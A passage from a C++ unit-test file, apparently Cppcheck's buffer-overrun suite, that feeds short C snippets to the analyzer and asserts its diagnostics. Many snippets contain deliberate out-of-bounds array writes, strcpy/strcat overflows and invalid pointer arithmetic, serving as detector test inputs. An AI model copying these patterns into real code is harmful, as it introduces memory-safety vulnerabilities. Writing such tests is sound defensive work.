{1,2};\\n\"\n \" int x = 0;\\n\"\n \" for( int i = 0; i<6; ) {\\n\"\n \" x += array[i++];\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void buffer_overrun_26() { // ticket #4432 (segmentation fault)\n check(\"extern int split();\\n\"\n \"void regress() {\\n\"\n \" char inbuf[1000];\\n\"\n \" char *f[10];\\n\"\n \" split(inbuf, f, 10, \\\"\\t\\t\\\");\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_27() { // ticket #4444 (segmentation fault)\n check(\"void abc(struct foobar[5]);\\n\"\n \"void main() {\\n\"\n \"struct foobar x[5];\\n\"\n \"abc(x);\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #7083: false positive: typedef and initialization with strings\n void buffer_overrun_29() {\n check(\"typedef char testChar[10];\\n\"\n \"int main(){\\n\"\n \" testChar tc1 = \\\"\\\";\\n\"\n \" tc1[5]='a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n // #6367\n void buffer_overrun_30() {\n check(\"struct S { int m[9]; };\\n\"\n \"int f(S * s) {\\n\"\n \" return s->m[sizeof(s->m)];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Array 's->m[9]' accessed at index 36, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_31() {\n check(\"void f(WhereInfo *pWInfo, int *aiCur) {\\n\"\n \" memcpy(aiCur, pWInfo->aiCurOnePass, sizeof(int)*2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_32() {\n // destination size is too small\n check(\"void f(void) {\\n\"\n \" const char src[3] = \\\"abc\\\";\\n\"\n \" char dest[1] = \\\"a\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\"// <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (error) Buffer is accessed out of bounds: dest [bufferAccessOutOfBounds]\\n\", errout_str());\n // destination size is too small\n check(\"void f(void) {\\n\"\n \" const char src[3] = \\\"abc\\\";\\n\"\n \" char dest[2] = \\\"ab\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\"\n \" (void)strxfrm(dest,src,3);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (error) Buffer is accessed out of bounds: dest [bufferAccessOutOfBounds]\\n\", errout_str());\n // source size is too small\n check(\"void f(void) {\\n\"\n \" const char src[2] = \\\"ab\\\";\\n\"\n \" char dest[3] = \\\"abc\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\"\n \" (void)strxfrm(dest,src,3);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (error) Buffer is accessed out of bounds: src [bufferAccessOutOfBounds]\\n\", errout_str());\n // source size is too small\n check(\"void f(void) {\\n\"\n \" const char src[1] = \\\"a\\\";\\n\"\n \" char dest[3] = \\\"abc\\\";\\n\"\n \" (void)strxfrm(dest,src,1);\\n\"\n \" (void)strxfrm(dest,src,2);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:24]: (error) Buffer is accessed out of bounds: src [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_33() { // #2019\n check(\"int f() {\\n\"\n \" int z[16];\\n\"\n \" for (int i=0; i<20; i++)\\n\"\n \" for (int j=0; j<20; j++)\\n\"\n \" z[i] = 0;\\n\"\n \" return z[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'z[16]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_34() { // #11035\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int a[15] = {};\\n\"\n \" int g() const { return v.size(); }\\n\"\n \" int f(int i) const {\\n\"\n \" if (i < 0 || i >= g())\\n\"\n \" return 0;\\n\"\n \" return a[i];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_35() { // #2304\n check(\"void f() {\\n\"\n \" char* q = \\\"0123456789\\\";\\n\"\n \" char* p = (char*)malloc(sizeof(q) + 1);\\n\"\n \" strcpy(p, q);\\n\"\n \" free(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Buffer is accessed out of bounds: p [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* q = \\\"0123456789\\\";\\n\"\n \" char* p = (char*)malloc(1);\\n\"\n \" strcpy(p, q);\\n\"\n \" free(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Buffer is accessed out of bounds: p [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"typedef struct { char buf[1]; } S;\\n\"\n \"S* f() {\\n\"\n \" S* s = NULL;\\n\"\n \" s = (S*)malloc(sizeof(S) + 10);\\n\"\n \" sprintf((char*)s->buf, \\\"abc\\\");\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_36() { // #11708\n check(\"void f(double d) {\\n\"\n \" char a[80];\\n\"\n \" sprintf(a, \\\"%2.1f\\\", d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_errorpath() {\n setMultiline();\n const Settings settingsOld = settings0; // TODO: get rid of this\n settings0.templateLocation = \"{file}:{line}:note:{info}\";\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" memset(p, 0, 20);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: error: Buffer is accessed out of bounds: p [bufferAccessOutOfBounds]\\n\"\n \"[test.cpp:2:13]: note: Assign p, buffer with size 10\\n\"\n \"[test.cpp:3:12]: note: Buffer overrun\\n\", errout_str());\n\n settings0 = settingsOld;\n }\n\n void buffer_overrun_bailoutIfSwitch() {\n // No false positive\n check(\"void f1(char *s) {\\n\"\n \" if (x) s[100] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f2() {\\n\"\n \" char a[10];\\n\"\n \" f1(a);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // No false positive\n check(\"void f1(char *s) {\\n\"\n \" if (x) return;\\n\"\n \" s[100] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f2() {\\n\"\n \" char a[10];\\n\"\n \" f1(a);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // No false negative\n check(\"void f1(char *s) {\\n\"\n \" if (x) { }\\n\"\n \" s[100] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void f2() {\\n\"\n \" char a[10];\\n\"\n \" f1(a);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8] -> [test.cpp:3]: (error) Array 'a[10]' accessed at index 100, which is out of bounds.\\n\", \"\", errout_str());\n }\n\n void buffer_overrun_function_array_argument() {\n setMultiline();\n\n check(\"void f(char a[10]);\\n\"\n \"void g() {\\n\"\n \" char a[2];\\n\"\n \" f(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: warning: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:4:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:13]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:3:10]: note: Passing buffer 'a' to function that is declared here\\n\"\n \"[test.cpp:4:5]: note: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\", errout_str());\n\n check(\"void f(float a[10][3]);\\n\"\n \"void g() {\\n\"\n \" float a[2][3];\\n\"\n \" f(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: warning: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:4:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:14]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:3:11]: note: Passing buffer 'a' to function that is declared here\\n\"\n \"[test.cpp:4:5]: note: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\", errout_str());\n\n check(\"void f(int a[20]);\\n\"\n \"void g() {\\n\"\n \" int a[2];\\n\"\n \" f(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: warning: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:4:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:12]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:3:9]: note: Passing buffer 'a' to function that is declared here\\n\"\n \"[test.cpp:4:5]: note: Buffer 'a' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\", errout_str());\n\n check(\"void f(int a[]) {\\n\"\n \" switch (2) {\\n\"\n \" case 1:\\n\"\n \" a[1] = 1;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int a[1];\\n\"\n \"f(a);\\n\"\n \"\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void CreateLeafTex(unsigned char buf[256][2048][4]);\\n\"\n \"void foo() {\\n\"\n \" unsigned char(* tree)[2048][4] = new unsigned char[256][2048][4];\\n\"\n \" CreateLeafTex(tree);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a[10]) {\\n\" // #10069\n \" int i = 0;\\n\"\n \" for (i = 0; i < 10; i++)\\n\"\n \" a[i] = i * 2;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int b[5];\\n\"\n \" f(b);\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: warning: Buffer 'b' is too small, the function 'f' expects a bigger buffer in 1st argument [argumentSize]\\n\"\n \"[test.cpp:8:5]: note: Function 'f' is called\\n\"\n \"[test.cpp:1:12]: note: Declaration of 1st function argument.\\n\"\n \"[test.cpp:7:9]: note: Passing buffer 'b' to function that is declared here\\n\"\n \"[test.cpp:8:5]: note: Buffer 'b' is too small, the function 'f' expects a bigger buffer in 1st argument\\n\",\n errout_str());\n }\n\n void possible_buffer_overrun_1() { // #3035\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (warning) Possible buffer overflow if strlen(src) is larger than sizeof(data)-strlen(data).\\n\", \"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning) Possible buffer overflow if strlen(src) is larger than sizeof(data)-strlen(data).\\n\", \"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" strcat(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (warning) Possible buffer overflow if strlen(src) is larger than or equal to sizeof(data).\\n\", \"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" char src[100];\\n\"\n \" memset(src, 'C', 99);\\n\"\n \" src[99] = '\\\\0';\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(50);\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning) Possible buffer overflow if strlen(src) is larger than or equal to sizeof(data).\\n\", \"\", errout_str());\n\n check(\"void foo(char src[100]) {\\n\"\n \" char * data = (char *)alloca(100);\\n\"\n \" strcpy(data, src);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_readSizeFromCfg() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n // Attempt to get size from Cfg files, no false positives if size is not specified\n check(\"void f() {\\n\"\n \" u8 str[256];\\n\"\n \" mystrcpy(str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" u8 str[2];\\n\"\n \" mystrcpy(str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // The same for structs, where the message comes from a different check\n check(\"void f() {\\n\"\n \" struct { u8 str[256]; } ms;\\n\"\n \" mystrcpy(ms.str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { u8 str[2]; } ms;\\n\"\n \" mystrcpy(ms.str, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Buffer is accessed out of bounds: ms.str [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n void valueflow_string() { // using ValueFlow string values in checking\n check(\"char f() {\\n\"\n \" const char *x = s;\\n\"\n \" if (cond) x = \\\"abcde\\\";\\n\"\n \" return x[20];\\n\" // <- array index out of bounds when x is \"abcde\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Array 'x[6]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void pointer_out_of_bounds_1() {\n // extracttests.start: void dostuff(char *);\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" char *p = a + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) Undefined behaviour, pointer arithmetic 'a+100' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"char *f() {\\n\"\n \" char a[10];\\n\"\n \" return a + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (portability) Undefined behaviour, pointer arithmetic 'a+100' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == 123) {}\\n\"\n \" dostuff(x+i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:14]: (portability) Undefined behaviour, when 'i' is 123 the pointer arithmetic 'x+i' is out of bounds. [pointerOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == -1) {}\\n\"\n \" dostuff(x+i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:14]: (portability) Undefined behaviour, when 'i' is -1 the pointer arithmetic 'x+i' is out of bounds. [pointerOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6350 - fp when there is cast of buffer\n \" wchar_t buf[64];\\n\"\n \" p = (unsigned char *) buf + sizeof (buf);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char d[] = \\\"0123456789\\\";\\n\"\n \" char *cp = d + 3;\\n\"\n \" return cp - d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_2() {\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 100;\\n\"\n \" free(p);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (portability) Undefined behaviour, pointer arithmetic 'p+100' is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 10;\\n\"\n \" *p = 0;\\n\"\n \" free(p);\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) p is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 10;\\n\"\n \" p -= 10;\\n\"\n \" *p = 0;\\n\"\n \" free(p);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *p = malloc(10);\\n\"\n \" p += 10;\\n\"\n \" p = p - 1;\\n\"\n \" *p = 0;\\n\"\n \" free(p);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_3() {\n check(\"struct S { int a[10]; };\\n\"\n \"void f(struct S *s) {\\n\"\n \" int *p = s->a + 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (portability) Undefined behaviour, pointer arithmetic 's->a+100' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"template class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void test() const;\\n\"\n \" T* data();\\n\"\n \"};\\n\"\n \"template \\n\"\n \"void Vector::test() const\\n\"\n \"{\\n\"\n \" const T* PDat = data();\\n\"\n \" const T* P2 = PDat + 1;\\n\"\n \" const T* P1 = P2 - 1;\\n\"\n \"}\\n\"\n \"Vector> Foo;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_4() {\n check(\"const char* f() {\\n\"\n \" g(\\\"Hello\\\" + 6);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char* f() {\\n\"\n \" g(\\\"Hello\\\" + 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (portability) Undefined behaviour, pointer arithmetic '\\\"Hello\\\"+7' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"const char16_t* f() {\\n\"\n \" g(u\\\"Hello\\\" + 6);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char16_t* f() {\\n\"\n \" g(u\\\"Hello\\\" + 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Undefined behaviour, pointer arithmetic 'u\\\"Hello\\\"+7' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4647\n \" int val = 5;\\n\"\n \" std::string hi = \\\"hi\\\" + val;\\n\"\n \" std::cout << hi << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (portability) Undefined behaviour, pointer arithmetic '\\\"hi\\\"+val' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f(const char* s, int len) {\\n\" // #11026\n \" const char* end = s + len;\\n\"\n \" printf(\\\"%s, %d\\\\n\\\", s, *end);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(\\\"a\\\", 1);\\n\"\n \" f(\\\"bbb\\\", 3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, const char* a) {\\n\" // #11140\n \" (void)a[i];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (int i = 0; \\\"01234\\\"[i]; ++i)\\n\"\n \" f(i, \\\"56789\\\");\\n\"\n \"}\\n\"\n \"void h() {\\n\"\n \" for (int i = 0; \\\"012\\\"[i]; ++i)\\n\"\n \" f(i, \\\"345\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_5() { // #10227\n check(\"int foo(char str[6]) {\\n\"\n \" return !((0 && *(\\\"STRING\\\" + 14) == 0) || memcmp(str, \\\"STRING\\\", 6) == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pointer_out_of_bounds_sub() {\n // extracttests.start: void dostuff(char *);\n\n check(\"char *f() {\\n\"\n \" char x[10];\\n\"\n \" return x-1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (portability) Undefined behaviour, pointer arithmetic 'x-1' is out of bounds. [pointerOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == 123) {}\\n\"\n \" dostuff(x-i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:14]: (portability) Undefined behaviour, when 'i' is 123 the pointer arithmetic 'x-i' is out of bounds. [pointerOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char x[10];\\n\"\n \" if (i == -20) {}\\n\"\n \" dostuff(x-i);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (portability) Undefined behaviour, when 'i' is -20 the pointer arithmetic 'x-i' is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f(const char *x[10]) {\\n\"\n \" return x-4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strcat1() {\n check(\"struct Foo { char a[4]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo x = {0};\\n\"\n \" strcat(x.a, \\\"aa\\\");\\n\"\n \" strcat(x.a, \\\"aa\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n }\n\n void varid1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char str[10];\\n\"\n \" if (str[0])\\n\"\n \" {\\n\"\n \" char str[50];\\n\"\n \" str[30] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varid2() { // #4764\n check(\"struct foo {\\n\"\n \" void bar() { return; }\\n\"\n \" type<> member[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assign1() {\n check(\"char str[3] = {'a', 'b', 'c'};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" str[3] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Array 'str[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void alloc_new() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s; s = new char[10];\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #1670 - false negative when using return\n check(\"char f()\\n\"\n \"{\\n\"\n \" int *s; s = new int[10];\\n\"\n \" return s[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct Fred { char c[10]; };\\n\"\n \"char f()\\n\"\n \"{\\n\"\n \" Fred *f; f = new Fred;\\n\"\n \" return f->c[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (error) Array 'f->c[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"static const size_t MAX_SIZE = UNAVAILABLE_TO_CPPCHECK;\\n\"\n \"struct Thing { char data[MAX_SIZE]; };\\n\"\n \"char f4(const Thing& t) { return !t.data[0]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * buf; buf = new char[8];\\n\"\n \" buf[7] = 0;\\n\"\n \" delete [] buf;\\n\"\n \" buf = new char[9];\\n\"\n \" buf[8] = 0;\\n\"\n \" delete [] buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char * buf; buf = new char[8];\\n\"\n \" buf[7] = 0;\\n\"\n \" delete [] buf;\\n\"\n \" buf = new char[9];\\n\"\n \" buf[9] = 0;\\n\"\n \" delete [] buf;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (error) Array 'buf[9]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" enum E { Size = 10 };\\n\"\n \" char *s; s = new char[Size];\\n\"\n \" s[Size] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" enum E { ZERO };\\n\"\n \" E *e; e = new E[10];\\n\"\n \" e[10] = ZERO;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (error) Array 'e[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // data is allocated with malloc\n void alloc_malloc() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s; s = (char *)malloc(10);\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #842\n check(\"void f() {\\n\"\n \" int *tab4 = (int *)malloc(20 * sizeof(int));\\n\"\n \" tab4[20] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #1478\n check(\"void foo() {\\n\"\n \" char *p = (char *)malloc(10);\\n\"\n \" free(p);\\n\"\n \" p = (char *)malloc(10);\\n\"\n \" p[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (error) Array 'p[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // ticket #1134\n check(\"void f() {\\n\"\n \" int *x, i;\\n\"\n \" x = (int *)malloc(10 * sizeof(int));\\n\"\n \" x[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'x[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *tab4; tab4 = malloc(20 * sizeof(int));\\n\"\n \" tab4[19] = 0;\\n\"\n \" free(tab4);\\n\"\n \" tab4 = malloc(21 * sizeof(int));\\n\"\n \" tab4[20] = 0;\\n\"\n \" free(tab4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *tab4 = malloc(20 * sizeof(int));\\n\"\n \" tab4[19] = 0;\\n\"\n \" tab4 = realloc(tab4,21 * sizeof(int));\\n\"\n \" tab4[20] = 0;\\n\"\n \" free(tab4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum E { Size = 20 };\\n\"\n \" E *tab4 = (E *)malloc(Size * 4);\\n\"\n \" tab4[Size] = Size;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum E { Size = 20 };\\n\"\n \" E *tab4 = (E *)malloc(4 * Size);\\n\"\n \" tab4[Size] = Size;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum E { ZERO };\\n\"\n \" E *tab4 = (E *)malloc(20 * sizeof(E));\\n\"\n \" tab4[20] = ZERO;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'tab4[20]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #8721\n \" unsigned char **cache = malloc(32);\\n\"\n \" cache[i] = malloc(65536);\\n\"\n \" cache[i][0xFFFF] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int **a = malloc(2 * sizeof(int*));\\n\"\n \" for (int i = 0; i < 3; i++)\\n\"\n \" a[i] = 